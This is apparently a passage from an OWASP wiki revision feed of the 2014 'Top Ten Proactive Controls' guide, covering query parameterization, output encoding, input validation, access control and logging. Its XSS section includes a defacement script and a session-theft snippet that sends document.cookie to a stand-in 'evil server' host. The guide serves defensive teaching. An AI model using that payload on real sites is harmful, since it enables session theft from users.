Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include Unix encoding, Windows encoding, LDAP encoding, XML encoding and others. OWASP's Enterprise Security API (ESAPI) provides encoders for these functions in Java. In .NET 4.5, the [http://msdn.microsoft.com/en-us/library/system.web.security.antixss.antixssencoder%28v=vs.110%29.aspx AntiXssEncoder Class] provides CSS, HTML, URL, JavaScriptString and XML encoders - other encoders for LDAP and VBScript are included in the open source AntiXSS library.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused. &lt;br /&gt;
&lt;br /&gt;
Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
* [https://code.google.com/p/keyczar/ Google KeyCzar]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
To make correlation and analysis easier, follow a common logging approach within the system and across systems where possible, using an extensible logging framework like SLF4J with Logback or Apache Log4j2, to ensure that all log entries are consistent.&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little. Make sure to always log the time stamp and identifying information like the source IP and user-id, but be careful not to log private or confidential data or opt-out data or secrets. Use knowledge of the intended purposes to guide what, when and how much to log. To protect from Log Injection aka [http://www.owasp.org/index.php/Log_Forging Log Forging], make sure to perform encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] explains how to implement intrusion detection and automated response into an existing application: where to add sensors or [https://www.owasp.org/index.php/AppSensor_DetectionPoints detection points] and what [http://www.owasp.org/index.php/AppSensor_ResponseActions response actions] to take when a security exception is encountered in your application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of July: Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176699</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176699"/>
				<updated>2014-06-09T20:26:53Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the complete document in the tab to the right.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
